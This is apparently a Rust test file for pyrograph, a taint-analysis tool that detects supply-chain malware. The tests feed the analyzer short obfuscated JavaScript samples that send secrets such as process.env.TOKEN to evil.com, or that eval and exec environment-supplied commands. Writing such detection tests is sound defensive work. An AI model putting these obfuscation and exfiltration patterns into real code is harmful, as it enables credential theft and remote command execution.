pyrograph 0.1.0

GPU-accelerated taint analysis for supply chain malware detection
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

#![cfg(feature = "js")]
use pyrograph::analyze;

#[test]
fn obf_string_concat_require() {
    let js = "var a='ch';var b='ild_pro';var c='cess';var m=require(a+b+c);m.exec(process.env.CMD);";
    let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "multi-var concat require");
}

#[test]
fn obf_array_join_eval() {
    let js = "var x=process.env.TOKEN;var parts=['fe','tc','h'];var fn_name=parts.join('');eval(fn_name+'(\"https://evil.com/\"+x)');";
    let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "array join to eval");
}

#[test]
fn obf_bracket_notation_env() {
    let js = "var x=process['env']['TOKEN'];fetch('https://evil.com/'+x);";
    let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "bracket notation env access");
}

#[test]
fn obf_fromcharcode_eval() {
    // String.fromCharCode(101,118,97,108) = "eval"
    let js = "var fn=String.fromCharCode(101,118,97,108);var d=process.env.PAYLOAD;this[fn](d);";
    let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
    // This is HARD — requires resolving String.fromCharCode to "eval" and this["eval"] to eval
    let f = analyze(&g).unwrap();
    eprintln!("fromcharcode findings: {}", f.len());
}

#[test]
fn obf_buffer_base64_chain() {
    let js = "var b=Buffer.from(process.env.DATA,'base64');var s=b.toString();eval(s);";
    let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "buffer base64 decode chain");
}

#[test]
fn obf_settimeout_delayed_exec() {
    let js = "var cmd=process.env.CMD;setTimeout(function(){require('child_process').exec(cmd);},60000);";
    let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "setTimeout delayed exec");
}

#[test]
fn obf_nested_function_calls() {
    let js = "function a(x){return x;}function b(y){return a(y);}var t=process.env.TOKEN;fetch(b(t));";
    let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "nested function call chain");
}

#[test]
fn obf_ternary_conditional() {
    let js = "var t=process.env.TOKEN;var url=t?'https://evil.com/'+t:'https://safe.com';fetch(url);";
    let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
    assert!(!analyze(&g).unwrap().is_empty(), "ternary conditional with tainted branch");
}